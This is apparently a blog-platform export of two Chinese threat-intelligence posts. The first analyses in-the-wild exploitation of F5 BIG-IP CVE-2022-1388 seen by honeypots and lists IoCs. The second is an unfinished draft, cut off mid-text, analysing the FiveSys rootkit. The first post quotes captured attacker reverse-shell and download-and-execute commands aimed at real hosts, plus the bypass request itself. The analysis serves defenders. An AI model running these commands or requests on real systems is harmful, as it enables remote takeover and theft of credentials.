172.81.129.138 United States AS27176 DATAWAGON
194.5.73.6 The Netherlands AS50559 DIVD
194.233.77.245 Singapore AS141995 CAPL-AS-AP
45.32.116.64 Singapore AS20473 AS-CHOOPA
112.79.128.227 India AS38266 VODAFONE-IN
128.199.109.248 Singapore AS14061 DIGITALOCEAN-ASN
165.22.71.198 Germany AS14061 DIGITALOCEAN-ASN
128.92.198.251 United States AS20115 CHARTER-20115
5.188.122.161 Australia AS202422 GHOST
138.199.21.59 Japan AS212238 CDNEXT
81.157.162.197 United Kingdom AS2856 BT-UK-AS
110.226.77.239 India AS24560 AIRTELBROADBAND-AS-AP
45.76.98.112 Japan AS20473 AS-CHOOPA
198.211.120.110 The Netherlands AS14061 DIGITALOCEAN-ASN
47.154.53.138 United States AS5650 FRONTIER-FRTR
35.198.231.69 Singapore AS15169 GOOGLE
182.3.104.2 Indonesia AS23693 TELKOMSEL-ASN-ID
125.212.220.40 Viet Nam AS38731 VTDC-AS-VN
91.193.4.39 Switzerland AS9009 M247
</code></pre>
<p>URL</p>
<pre><code>http://202.28.229.174/ldr.sh
http://89.44.9.246/pp
http://64.227.106.88:9999/shell.elf
http://154.204.25.156:8001/config
</code></pre>
<p>md5</p>
<pre><code>05dec77dbc765b43d3b969146da92bb6
2479686ed1bd82686960335ff0ea5ac6
bc485470f634c659e68fbb18b1f92970
4ed29e950603ce4ac6b7ee36a5a9f709
32326b11a373fc682f9389596e23d3c1
</code></pre>
<!--kg-card-end: markdown--> | 背景介绍
2022年5月5日,知名应用交付网络公司F5 Networks公布了旗下BIG-IP产品iControl REST组件的一个远程执行漏洞(点此查看官方公告),并提供了漏洞修复版本和临时修复方案,由于该产品市场占有率较高,漏洞影响面积大,引起安全社区广泛关注。漏洞背景信息如下所示:
影响范围: F5 BIG-IP 11.6.1 - 11.6.5, 12.1.0 - 12.1.6, 13.1.0 - 13.1.4, 14.1.0 - 14.1.4, 15.1.0 - 15.1.5, 16.1.0 - 16.1.2
披露日期: 2022.05.05
CVE编号: CVE-2022-1388
CVSS 3.1评分: 9.8
影响设备量级: 十万级
360网络安全研究院高级威胁狩猎蜜罐系统通过被动监测方式持续监控该漏洞在野传播过程,于北京时间2022年5月6日首次发现该漏洞的在野攻击数据包,同时我们发现Shellbot、挖矿木马等恶意软件已经开始利用该漏洞传播。相关在野漏洞攻击威胁情报已通过自动化形式输出。
漏洞在野传播情况
360网络安全研究院高级威胁狩猎蜜罐系统监测到自从2022年5月6日首次发现漏洞攻击数据包以来,该漏洞的攻击者IP数和攻击会话数都有明显增加。
部分攻击源IP地理位置分布如下:
攻击源IP数量Top10的国家/地区如下所示:
国家/地区
攻击源IP数
美国
58
中国
30
荷兰
26
德国
25
印度
19
孟加拉国
14
新加坡
11
埃及
8
英国
8
罗马尼亚
7
部分在野漏洞利用的命令信息如下所示:
id
whoami
cat /etc/passwd
echo 28z9BX0w4kMEak55tqaSMGDmAP1
echo 28zLDPCC3k6zrH2Es7DH1rxifzg
echo 28vi546TWLQfFsixTdyjLLyYOgg
echo 28vF7veMkSo2eZsu3JfeBQ03RNq
echo 28xCdoz7qlWjVzKBoel3ATz7VUu
hostname
echo 28x66VsIARvoGpbWnebWlBMQES4
/tmp/shell.elf
sh -i >& /dev/tcp/146.70.119.184/59300 0>&1
id && uname -a && cat /etc/hosts /etc/shadow && ifconfig -a\
ls
free -h
curl http://64.227.106.88:9999/shell.elf -O
chmod +x shell.elf; mv shell.elf /tmp/
curl http://64.227.106.88:9999/shell.elf -O; chmod +x shell.elf; mv shell.elf /dev/; /dev/shell.elf
pwd
test
sudo sh -i >& /dev/tcp/146.70.119.184/59300 0>&1
bash -i >& /dev/tcp/146.70.119.184/59300 0>&1
wget
run
asdasd
no
恶意软件传播情况如下图所示:
漏洞分析
CVE-2022-1388漏洞和CVE-2021-22986漏洞类似,都是通过X-F5-Auth-Token头绕过Apache httpd的Authentication的校验,转发请求到Jetty服务,Jetty判断X-F5-Auth-Token头为空时未对Authentication头信息校验,从而绕过认证。
CVE-2021-22986漏洞分析
在CVE-2021-22986漏洞版本16.0.1-0.0.3中,BIG-IP首先通过 Apache httpd处理请求,然后转发到本地8100端口的Jetty服务。httpd判断请求中存在X-F5-Auth-Token头时,转发请求到Jetty处理。
Jetty不对Authorization进行账号密码验证,在setIdentityData函数以账号admin设置userReference:
在completeEvaluatePermission函数中,当X-F5-Auth-Token头为空时,调用completeEvaluatePermission函数判断userRef是否为admin的userReference进行认证,存在认证绕过漏洞:
在F5 BIG-IP 16.1.2.1版本测试CVE-2021-22986漏洞补丁,X-F5-Auth-Token头为空时,Apache httpd认证不通过:
蜜罐系统捕获payload
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive, X-F5-Auth-Token
Content-Type: application/json
X-F5-Auth-Token: a
Authorization: basic YWRtaW46
Content-Length: 42
{"command": "run", "utilCmdArgs": "-c id"}
CVE-2022-1388漏洞分析
在F5 BIG-IP 16.1.2.1版本,通过蜜罐捕获的payload进行测试,到达Jetty服务时,X-F5-Auth-Token头为空:
X-F5-Auth-Token头非空,Apache httpd转发请求给Jetty服务。根据Connection: keep-alive, X-F5-Auth-Token字符串,该payload利用逐跳(hop-by-hop)请求头滥用漏洞,在Apache httpd转发请求给Jetty时,会删除Header中的X-F5-Auth-Token头。
在F5 BIG-IP 16.1.2.1版本,新增过滤条件,当X-Forwarded-Host为localhost或127.0.0.1时,调用setIdentityData以账号admin设置userReference:
在completeEvaluatePermission函数中,X-F5-Auth-Token头为空时,判断userRef为admin的userReference通过认证:
漏洞修复
在新版本F5 BIG-IP 16.1.2.2中测试发现,即使存在非空X-F5-Auth-Token头,Apache httpd不再转发请求到Jetty服务,X-F5-Auth-Token认证由Apache httpd处理:
处置建议
我们建议F5 BIG-IP用户立刻升级到修复版本(13.1.5, 14.1.4.6, 15.1.5.1, 16.1.2.2, 17.0.0),无法立刻升级的,建议参考官方公告进行临时修补。
联系我们
感兴趣的读者,可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC List
IP
31.178.7.61 Poland AS6830 LibertyGlobal
85.106.114.175 Turkey AS47331 TTNET
162.214.0.49 United States AS46606 UNIFIEDLAYER-AS-1
80.94.93.125 United Kingdom AS47890 UNMANAGED-DEDICATED-SERVERS
158.69.0.205 Canada AS16276 OVH
76.69.13.198 Canada AS577 BACOM
37.0.11.238 The Netherlands AS211252 AS_DELIS
34.126.143.139 Singapore AS15169 GOOGLE
103.167.16.10 Bangladesh AS139720 DHAKANET-AS-AP
185.219.134.179 Turkey AS205399 HOSTIGGER
185.204.1.181 Finland AS51765 CREANOVA-AS
172.81.129.138 United States AS27176 DATAWAGON
194.5.73.6 The Netherlands AS50559 DIVD
194.233.77.245 Singapore AS141995 CAPL-AS-AP
45.32.116.64 Singapore AS20473 AS-CHOOPA
112.79.128.227 India AS38266 VODAFONE-IN
128.199.109.248 Singapore AS14061 DIGITALOCEAN-ASN
165.22.71.198 Germany AS14061 DIGITALOCEAN-ASN
128.92.198.251 United States AS20115 CHARTER-20115
5.188.122.161 Australia AS202422 GHOST
138.199.21.59 Japan AS212238 CDNEXT
81.157.162.197 United Kingdom AS2856 BT-UK-AS
110.226.77.239 India AS24560 AIRTELBROADBAND-AS-AP
45.76.98.112 Japan AS20473 AS-CHOOPA
198.211.120.110 The Netherlands AS14061 DIGITALOCEAN-ASN
47.154.53.138 United States AS5650 FRONTIER-FRTR
35.198.231.69 Singapore AS15169 GOOGLE
182.3.104.2 Indonesia AS23693 TELKOMSEL-ASN-ID
125.212.220.40 Viet Nam AS38731 VTDC-AS-VN
91.193.4.39 Switzerland AS9009 M247
URL
http://202.28.229.174/ldr.sh
http://89.44.9.246/pp
http://64.227.106.88:9999/shell.elf
http://154.204.25.156:8001/config
md5
05dec77dbc765b43d3b969146da92bb6
2479686ed1bd82686960335ff0ea5ac6
bc485470f634c659e68fbb18b1f92970
4ed29e950603ce4ac6b7ee36a5a9f709
32326b11a373fc682f9389596e23d3c1
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景介绍\n\n2022年5月5日,知名应用交付网络公司F5 Networks公布了旗下BIG-IP产品iControl REST组件的一个远程执行漏洞([点此查看官方公告](https://support.f5.com/csp/article/K23605346)),并提供了漏洞修复版本和临时修复方案,由于该产品市场占有率较高,漏洞影响面积大,引起安全社区广泛关注。漏洞背景信息如下所示:\n\n**影响范围:** F5 BIG-IP 11.6.1 - 11.6.5, 12.1.0 - 12.1.6, 13.1.0 - 13.1.4, 14.1.0 - 14.1.4, 15.1.0 - 15.1.5, 16.1.0 - 16.1.2\n\n**披露日期:** 2022.05.05\n\n**CVE编号:** CVE-2022-1388\n\n**CVSS 3.1评分:** 9.8\n\n**影响设备量级:** 十万级\n\n[360网络安全研究院高级威胁狩猎蜜罐系统](https://netlab.360.com/zh/honeypot)通过被动监测方式持续监控该漏洞在野传播过程,于北京时间2022年5月6日首次发现该漏洞的在野攻击数据包,同时我们发现Shellbot、挖矿木马等恶意软件已经开始利用该漏洞传播。相关在野漏洞攻击威胁情报已通过自动化形式输出。\n\n\n\n## 漏洞在野传播情况\n\n360网络安全研究院高级威胁狩猎蜜罐系统监测到自从2022年5月6日首次发现漏洞攻击数据包以来,该漏洞的攻击者IP数和攻击会话数都有明显增加。\n\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220511180540876.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220511180540876.png\" class=\"kg-image\"/></a>\n\n部分攻击源IP地理位置分布如下:\n\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220511173413621.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220511173413621.png\" class=\"kg-image\"/></a>\n\n攻击源IP数量Top10的国家/地区如下所示:\n\n| 国家/地区 | 攻击源IP数 |\n| --------- | ---------- |\n| 美国 | 58 |\n| 中国 | 30 |\n| 荷兰 | 26 |\n| 德国 | 25 |\n| 印度 | 19 |\n| 孟加拉国 | 14 |\n| 新加坡 | 11 |\n| 埃及 | 8 |\n| 英国 | 8 |\n| 罗马尼亚 | 7 |\n\n部分在野漏洞利用的命令信息如下所示:\n\n```\nid\nwhoami\ncat /etc/passwd\necho 28z9BX0w4kMEak55tqaSMGDmAP1\necho 28zLDPCC3k6zrH2Es7DH1rxifzg\necho 28vi546TWLQfFsixTdyjLLyYOgg\necho 28vF7veMkSo2eZsu3JfeBQ03RNq\necho 28xCdoz7qlWjVzKBoel3ATz7VUu\nhostname\necho 28x66VsIARvoGpbWnebWlBMQES4\n/tmp/shell.elf\nsh -i >& /dev/tcp/146.70.119.184/59300 0>&1\nid && uname -a && cat /etc/hosts /etc/shadow && ifconfig -a\\\nls\nfree -h\ncurl http://64.227.106.88:9999/shell.elf -O\nchmod +x shell.elf; mv shell.elf /tmp/\ncurl http://64.227.106.88:9999/shell.elf -O; chmod +x shell.elf; mv shell.elf /dev/; /dev/shell.elf\npwd\ntest\nsudo sh -i >& /dev/tcp/146.70.119.184/59300 0>&1\nbash -i >& /dev/tcp/146.70.119.184/59300 0>&1\nwget\nrun\nasdasd\nno\n```\n\n恶意软件传播情况如下图所示:\n\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220512114323213.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220512114323213.png\" class=\"kg-image\"/></a>\n\n\n\n## 漏洞分析\n\nCVE-2022-1388漏洞和CVE-2021-22986漏洞类似,都是通过X-F5-Auth-Token头绕过Apache httpd的Authentication的校验,转发请求到Jetty服务,Jetty判断X-F5-Auth-Token头为空时未对Authentication头信息校验,从而绕过认证。\n\n#### CVE-2021-22986漏洞分析\n\n在CVE-2021-22986漏洞版本16.0.1-0.0.3中,BIG-IP首先通过 Apache httpd处理请求,然后转发到本地8100端口的Jetty服务。httpd判断请求中存在X-F5-Auth-Token头时,转发请求到Jetty处理。\n\nJetty不对Authorization进行账号密码验证,在setIdentityData函数以账号admin设置userReference:\n\n<a href=\"__GHOST_URL__/content/images/2022/05/1-16522672978641.png\"><img src=\"__GHOST_URL__/content/images/2022/05/1-16522672978641.png\" class=\"kg-image\"/></a>\n\n在completeEvaluatePermission函数中,当X-F5-Auth-Token头为空时,调用completeEvaluatePermission函数判断userRef是否为admin的userReference进行认证,存在认证绕过漏洞:\n\n<a href=\"__GHOST_URL__/content/images/2022/05/2.png\"><img src=\"__GHOST_URL__/content/images/2022/05/2.png\" class=\"kg-image\"/></a>\n\n在F5 BIG-IP 16.1.2.1版本测试CVE-2021-22986漏洞补丁,X-F5-Auth-Token头为空时,Apache httpd认证不通过:\n\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220511191605171.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220511191605171.png\" class=\"kg-image\"/></a>\n\n\n#### 蜜罐系统捕获payload\n\n```\nPOST /mgmt/tm/util/bash HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: python-requests/2.27.1\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive, X-F5-Auth-Token\nContent-Type: application/json\nX-F5-Auth-Token: a\nAuthorization: basic YWRtaW46\nContent-Length: 42\n\n{\"command\": \"run\", \"utilCmdArgs\": \"-c id\"}\n```\n\n\n\n#### CVE-2022-1388漏洞分析\n\n在F5 BIG-IP 16.1.2.1版本,通过蜜罐捕获的payload进行测试,到达Jetty服务时,X-F5-Auth-Token头为空:\n\n<a href=\"__GHOST_URL__/content/images/2022/05/3.png\"><img src=\"__GHOST_URL__/content/images/2022/05/3.png\" class=\"kg-image\"/></a>\n\nX-F5-Auth-Token头非空,Apache httpd转发请求给Jetty服务。根据Connection: keep-alive, X-F5-Auth-Token字符串,该payload利用逐跳(hop-by-hop)请求头滥用漏洞,在Apache httpd转发请求给Jetty时,会删除Header中的X-F5-Auth-Token头。\n\n在F5 BIG-IP 16.1.2.1版本,新增过滤条件,当X-Forwarded-Host为localhost或127.0.0.1时,调用setIdentityData以账号admin设置userReference:\n\n<a href=\"__GHOST_URL__/content/images/2022/05/4.png\"><img src=\"__GHOST_URL__/content/images/2022/05/4.png\" class=\"kg-image\"/></a>\n\n在completeEvaluatePermission函数中,X-F5-Auth-Token头为空时,判断userRef为admin的userReference通过认证:\n\n<a href=\"__GHOST_URL__/content/images/2022/05/5.png\"><img src=\"__GHOST_URL__/content/images/2022/05/5.png\" class=\"kg-image\"/></a>\n\n#### 漏洞修复\n\n在新版本F5 BIG-IP 16.1.2.2中测试发现,即使存在非空X-F5-Auth-Token头,Apache httpd不再转发请求到Jetty服务,X-F5-Auth-Token认证由Apache httpd处理:\n\n<a href=\"__GHOST_URL__/content/images/2022/05/6.png\"><img src=\"__GHOST_URL__/content/images/2022/05/6.png\" class=\"kg-image\"/></a>\n\n\n\n## 处置建议\n\n我们建议F5 BIG-IP用户立刻升级到修复版本(13.1.5, 14.1.4.6, 15.1.5.1, 16.1.2.2, 17.0.0),无法立刻升级的,建议参考官方公告进行临时修补。\n\n## 联系我们\n\n感兴趣的读者,可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n## IoC List\n\nIP\n\n```\n31.178.7.61 Poland AS6830 LibertyGlobal\n85.106.114.175 Turkey AS47331 TTNET\n162.214.0.49 United States AS46606 UNIFIEDLAYER-AS-1\n80.94.93.125 United Kingdom AS47890 UNMANAGED-DEDICATED-SERVERS\n158.69.0.205 Canada AS16276 OVH\n76.69.13.198 Canada AS577 BACOM\n37.0.11.238 The Netherlands AS211252 AS_DELIS\n34.126.143.139 Singapore AS15169 GOOGLE\n103.167.16.10 Bangladesh AS139720 DHAKANET-AS-AP\n185.219.134.179 Turkey AS205399 HOSTIGGER\n185.204.1.181 Finland AS51765 CREANOVA-AS\n172.81.129.138 United States AS27176 DATAWAGON\n194.5.73.6 The Netherlands AS50559 DIVD\n194.233.77.245 Singapore AS141995 CAPL-AS-AP\n45.32.116.64 Singapore AS20473 AS-CHOOPA\n112.79.128.227 India AS38266 VODAFONE-IN\n128.199.109.248 Singapore AS14061 DIGITALOCEAN-ASN\n165.22.71.198 Germany AS14061 DIGITALOCEAN-ASN\n128.92.198.251 United States AS20115 CHARTER-20115\n5.188.122.161 Australia AS202422 GHOST\n138.199.21.59 Japan AS212238 CDNEXT\n81.157.162.197 United Kingdom AS2856 BT-UK-AS\n110.226.77.239 India AS24560 AIRTELBROADBAND-AS-AP\n45.76.98.112 Japan AS20473 AS-CHOOPA\n198.211.120.110 The Netherlands AS14061 DIGITALOCEAN-ASN\n47.154.53.138 United States AS5650 FRONTIER-FRTR\n35.198.231.69 Singapore AS15169 GOOGLE\n182.3.104.2 Indonesia AS23693 TELKOMSEL-ASN-ID\n125.212.220.40 Viet Nam AS38731 VTDC-AS-VN\n91.193.4.39 Switzerland AS9009 M247\n```\n\nURL\n\n```\nhttp://202.28.229.174/ldr.sh\nhttp://89.44.9.246/pp\nhttp://64.227.106.88:9999/shell.elf\nhttp://154.204.25.156:8001/config\n```\n\nmd5\n\n```\n05dec77dbc765b43d3b969146da92bb6\n2479686ed1bd82686960335ff0ea5ac6\nbc485470f634c659e68fbb18b1f92970\n4ed29e950603ce4ac6b7ee36a5a9f709\n32326b11a373fc682f9389596e23d3c1\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 627cc05d227c220007a9c72f |
post | null | 2022-05-12T08:18:50.000Z | 63873b9a8b1c1e0007f5301c | fivesys-rootkit | 0 | 2022-05-16T11:02:06.000Z | public | draft | null | null | FiveSys样本分析 | <!--kg-card-begin: markdown--><h1 id="">概述</h1>
<p>FiveSys是 Bitdefender 在 《<a href="https://www.bitdefender.com/files/News/CaseStudies/study/405/Bitdefender-DT-Whitepaper-Fivesys-creat5699-en-EN.pdf">Bitdefender-DT-Whitepaper-Fivesys</a> 》 披露的一组恶意软件家族。在他们披露的报告中,样本方面基本已经阐述的比较清晰了。我们本次分析,将再补充一些 FiveSys 的细节情况,及跟踪情况,以及详细解释一下 FiveSys 是如何使用这些证书的。可以说,本文是对 BitDefinder 所发报告的一个补充。</p>
<h1 id="">植入过程及功能图</h1>
<p><img src="__GHOST_URL__/content/images/2022/05/FiveSys---1.png" alt="FiveSys---1" loading="lazy"></p>
<p>图中各部分的展开介绍如下:</p>
<h2 id="">分发部分</h2>
<p>分发部分,就是市面上可以直接获取到的各类可执行文件,这类文件的投递可能具有多样性,还可能会和各类游戏辅助器捆绑在一起进行分发,通过一些诱导下载或捆绑下载的方式,骗取用户信任下载执行。比如笔者现在正在分析的样本,eb6841fb0221dc2269aaf93247870b7a 就对应着该部分。该部分的主要工作只有两项:</p>
<pre><code>1. 下调安全策略(关闭UAC)
2. 释放一个FiveSys的安装器,并通过启动服务的方式运行它。
</code></pre>
<p>被释放的文件会保存在“分发部分”的尾部,通过字节取反的方式逃避检查。</p>
<h2 id="fivesys">FiveSys安装器</h2>
<p>安装器部分的核心功能有三项:</p>
<pre><code>1. 释放并安装FiveSys驱动;
2. 释放并安装自签名的 HTTPS证书;
3. 向主控端汇报 1/2 是否安装成功,并汇报受控机的基本信息,比如系统版本/系统类型等;
</code></pre>
<p>经过逆向分析,我们发现安装器中内置了大量主控端域名地址,经过提取后得到xxx条IOC记录,详情可参见附录部分。</p>
<h2 id="fivesys">FiveSys持久化后门</h2>
<p>从远程控制角度来讲,这一部分才是FiveSys的核心逻辑,它的主要工作如下:</p>
<pre><code>1. 主控端识别(同样内置大量主控域名)
2. 阻断竞争对手的加载
3. 下载新的组件并执行(也可以用于自身更新)
4. 中间人窃密,添加网络内核钩子,以中间人攻击的形式窃取网络报文。
</code></pre>
<p><em>主控端识别</em>: 解析完内置的主控域名后,还需要对主控域名进行识别,只有当目标主控包含特定网页内容的时候,才会被当作合法主控。</p>
<p><em>阻断竞争对手的加载</em>: FiveSys会从主控同步一个黑名单到本地,当另一个驱动程序包含其内内容时则会拒绝其加载。进而保证自己的阵地。</p>
<p><em>下载新的组件并执行</em>:从主控先同步组件的下载地址,再同步组件本身到受控端,最后安装并执行。</p>
<p><em>中间人窃密</em>:攻击者预先架设一个代理服务器,随后将受控端的 HTTP/HTTPS 流量经它代理访问。此刻,代理服务器就是一个中间人的身份,攻击者可以从这里看到全量的用户数据,为盗号盗装备等恶意行为提供数据支撑。</p>
<h2 id="">证书部分详解</h2>
<p>FiveSys 涉及了两种用途的证书,一种是驱动证书(WHQL),另一种是用于 HTTPS 通讯的证书。</p>
<h3 id="">驱动证书解释</h3>
<p>如果在搜索引擎以 FiveSys 为关键字搜索后,可以发现很多媒体转载和报道 FiveSys 的文章,大多以“微软签发了FiveSys证书”为噱头,进行披露。在这些文章中所提到的证书,就是所谓的 WHQL证书。</p>
<p>WHQL全称为“Microsoft Windows Hardware Quality Lab”,中文名“Windows硬件设备质量实验室(认证)”。该证书的主要功能为“Windows操作系统的兼容性测试”。基于这个背景信息,笔者推测,该证书的签发逻辑为:这个驱动运行后不会让 Windows 操作系统崩溃,所以同意这个驱动在Windows系统上加载运行。至于你在功能上是善意还是恶意,并不在本认证的硬性考虑之内。当然在实际操作中,微软也有权将不符合安全要求的证书予以吊销甚至拒绝加载,但笔者认为这种拒绝并不是一个硬性规定或一种非做不可的检查。这也是很多恶意软件可以拿到 WHQL证书的直接原因。</p>
<p>基于以上介绍,原则上只要 FiveSys 在兼容性上满足相关条件,就可以得到这个认证证书。下面是一张分析 FiveSys驱动时,截取的证书认证路径图,从这个图就可以清晰的看到WHQL这个证书是从微软官方签属出来的:</p>
<p><img src="__GHOST_URL__/content/images/2022/05/SysCert.png" alt="SysCert" loading="lazy"></p>
<p>从公开的文章来看,微软已经于xxxx时间吊销了该证书的有效性,这也是FiveSys 被BitDefender被露后的一个处置手段。</p>
<h3 id="https">HTTPS证书部分解释</h3>
<p>FiveSys在运行后,还会释放一个自签名的证书到Windows系统(相关注册表路径:<code>HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5109E6ACAE9C8E8D179D33E8C8EDB9D7D683FB7A\Blob</code>)。下图是分析该证书时得到的截图:</p>
<p><img src="__GHOST_URL__/content/images/2022/05/FiveSys_HTTPS--.png" alt="FiveSys_HTTPS--" loading="lazy"></p>
<p>其实该证书的所有字段,均由 FiveSys 运维人自行填写。当 FiveSys 把这个证书释放到受控系统后,受控系统就会将其作为权威根证书。随后从这个证书签署出的 HTTPS 证书,也一并被系统认为是可信的证书,即使它是由 FiveSys 伪造的。</p>
<p>所以该证书在 FiveSys 中的核心功能也就一目了然了,它将被用来以“中间人攻击的方式”窃取用户的网页隐私数据。从被劫持域名的归属情况来看,该劫持主要针对私服游戏类网站。当受控机访问这些网站时其所使用的账号密码将面临被盗号的风险。 FiveSys 也会将盗号作为其稳定盈利的一个手段。</p>
<h2 id="">敌友识别</h2>
<p>FiveSys 作为一个恶意驱动,它还有决定另一个驱动/程序是否可以加载的功能。经它同意的驱动可以加载,共同赚钱,而它拒绝的驱动/程序则无法加载,从而巩固胜利果实。为此它维护了一个白名单和黑名单。处于白名单里的实体则可以加载,黑名单里的实体则拒绝加载。样本中内置了一小部分黑名单,全量的黑名单和白名单则从主控地址中同步更新, 白名单的 URI 路径为 <code>/api/safe/adopt</code>,黑名单的 URI 路径为 <code>/driverfiles/Jck.txt</code>。</p>
<p><em>白名单</em></p>
<pre><code>{"data":{"filelist":[{"value":"5632021112419125668|958167658420279700|958167658899559700|546414874679876|84644687351867|437564873658743344|696738267692473086"}]},"message":"","success":"1"}
</code></pre>
<p>此处白名单的内容没有详细分析,从内容上看和MD5有关,有很大的概率是同一批人运维的受控端。</p>
<p><em>黑名单</em></p>
<pre><code>1|Zhang Zhengqi
1|Haining shengdun Network Information Technology Co., Ltd
1|SHENZHEN LIRINUO S
1|Shanghai easy kradar Information Consulting Co.Ltd
1|Zhuhai liancheng Technology Co
1|Beijing Chunbai Technology Development Co
1|Xi'an Xinli Software Technology Co
1|新疆亿事联网络科技有限公司
1|Handan City Congtai District LiKang Daily Goods Departmen
1|上海域联软件技术有限公司
1|Hubei Olympic Tour Information Technology Co
1|Shanghai easy kradar Information Consulting Co
1|深圳市大米虾科技有限公司
1|Xinyi Electronic Technology (Shanghai) Co
1|Binzhoushi Yongyu Feed Co.,LTd
1|上海睦欣网络科技有限公司
1|Beijing Baijianqi Touzi Guanli Youxiangongsi
1|Sichuan Zhiling Times Network Technology
1|深圳科快安全技术有限公司
1|Beijing Ruidongtiandi Info.Tech
1|邓治华
1|Xiamen phantom domain network technology
1|湖南万博网络科技有限公司
1|浙江恒歌网络科技有限公司
1|善君
1|上海广乐网络科技有限公司
1|DigiCert Timestamp 2021
1|大连纵梦网络科技有限公司
1|Fuqing Yuntan Network Tech Co
1|Jiangsu innovation safety assessment
1|Bopsoft
1|Shenzhen Luyoudashi Technology
1|YI ZENG
1|成都安慧科技有限公司
1|Henan Pushitong Intelligent Technology
1|台州市天空文化传播有限公司
1|Feitian Technologies
1|Beijing Chunbai Technology Development
1|Haining shengdun Network Information Technology
1|Shanghai Oriental Webcasting
1|Jiangsu Liebao Network Technology
1|盛趣信息技术
1|福州创意嘉和软件有限公司
1|Shanghai Changzhi Network Technology
1|Handan City Congtai District LiKang Daily
1|He Fei Yun Biao Xin Xi Ke Ji You Xian Gong Si
1|Shanda Computer (Shanghai) Co
1|北京布丁跳跳科技有限公司
1|长沙林游网络科技有限公司
1|Guangzhou Spengler Automated Vending Technologies
2|9D9F343EAA8FB4045A4B7D05437AC02B
2|A269121725987B766740D43964E83CF3
2|698FD84F0AABAA65F8BD3E7AD417F4D4
1|Beijing Founder Apabi Technology Limited
1|SHANGMAO CHEN
1|Shenzhen Chongcheng Yuanshun Technology Co., Ltd
1|Shenzhen Hua’nan Xingfa Electronic Equipment Firm
1|Shenzhen Jinxian Technology Co., Ltd.
1|Shenzhen Juyuan Technology Co., Ltd.
1|杭州诸相网络科技有限公司
1|南京神易网络科技有限公司
1|天津迅读科技有限公司
1|武汉诸相网络科技有限公司
1|珠海市君天电子科技有限公司
1|浙江恒歌网络科技有限公司
1|Hubei Olympic Tour Information Technology
1|Fuqing Yuntan Network Tech Co
2|CE7D7EE076A74D3C532265D8F6BBFF09
2|B5C73DB8E70D6F46AD9B693F3CE060D2
1|Baoji zhihengtaiye co
2|E68A23A23D88180841B4690434B14716
1|迷南文化传媒(上海)有限公司
1|Beijing JoinHope Image Technology Ltd.
1|青岛亿驰趣游网络科技有限公司
1|北京新超仁达科技有限公司
1|成都优昂文化传播有限责任公司
2|B5C73DB8E70D6F46AD9B693F3CE060D2
1|佛山市高明科得裕绝缘材料有限公司
1|拇指世界(北京)网络科技有限公司
1|深圳市世纪中正科技开发有限公司
1|Jiangsu innovation safety assessment Co., Ltd.
</code></pre>
<p>黑名单项目成分比较复杂,通过不专业的分析,大概能看到三类情况:</p>
<ol>
<li>测试版本,比如: a269121725987b766740d43964e83cf3 这一项就是一个FiveSys测试版程序。</li>
<li>疑似竞争对手,以<code>Henan Pushitong Intelligent Technology Co.</code>记录为例,我们找到了用它签名的驱动文件,代码的大部分都加了防逆向保护的措施(比如:6722194b530249174d4b6717f16c778b),这类保护措施一般是防止安全分析人员进一步分析的,它们处于安全分析人员的对立面。所以推测,这类项目与FiveSys 是竞争者的关系。</li>
<li>疑似涉及灰色收益的项目,比如:<code>北京布丁跳跳科技有限公司</code> 这个公司曾被网友在安全社区举报为流氓软件<code>https://bbs.guanjia.qq.com/thread-844451-1-1.html</code>。一般类似情况,相关项目与灰色收益有关的概率会比较大。(注意:这并不代表 <code>北京布丁跳跳科技有限公司</code> 这个公司是个坏东西,更有可能的是有人冒用了相关实体名做坏事)</li>
</ol>
<!--kg-card-end: markdown--> | 概述
FiveSys是 Bitdefender 在 《Bitdefender-DT-Whitepaper-Fivesys 》 披露的一组恶意软件家族。在他们披露的报告中,样本方面基本已经阐述的比较清晰了。我们本次分析,将再补充一些 FiveSys 的细节情况,及跟踪情况,以及详细解释一下 FiveSys 是如何使用这些证书的。可以说,本文是对 BitDefinder 所发报告的一个补充。
植入过程及功能图
图中各部分的展开介绍如下:
分发部分
分发部分,就是市面上可以直接获取到的各类可执行文件,这类文件的投递可能具有多样性,还可能会和各类游戏辅助器捆绑在一起进行分发,通过一些诱导下载或捆绑下载的方式,骗取用户信任下载执行。比如笔者现在正在分析的样本,eb6841fb0221dc2269aaf93247870b7a 就对应着该部分。该部分的主要工作只有两项:
1. 下调安全策略(关闭UAC)
2. 释放一个FiveSys的安装器,并通过启动服务的方式运行它。
被释放的文件会保存在“分发部分”的尾部,通过字节取反的方式逃避检查。
FiveSys安装器
安装器部分的核心功能有三项:
1. 释放并安装FiveSys驱动;
2. 释放并安装自签名的 HTTPS证书;
3. 向主控端汇报 1/2 是否安装成功,并汇报受控机的基本信息,比如系统版本/系统类型等;
经过逆向分析,我们发现安装器中内置了大量主控端域名地址,经过提取后得到xxx条IOC记录,详情可参见附录部分。
FiveSys持久化后门
从远程控制角度来讲,这一部分才是FiveSys的核心逻辑,它的主要工作如下:
1. 主控端识别(同样内置大量主控域名)
2. 阻断竞争对手的加载
3. 下载新的组件并执行(也可以用于自身更新)
4. 中间人窃密,添加网络内核钩子,以中间人攻击的形式窃取网络报文。
主控端识别: 解析完内置的主控域名后,还需要对主控域名进行识别,只有当目标主控包含特定网页内容的时候,才会被当作合法主控。
阻断竞争对手的加载: FiveSys会从主控同步一个黑名单到本地,当另一个驱动程序包含其内内容时则会拒绝其加载。进而保证自己的阵地。
下载新的组件并执行:从主控先同步组件的下载地址,再同步组件本身到受控端,最后安装并执行。
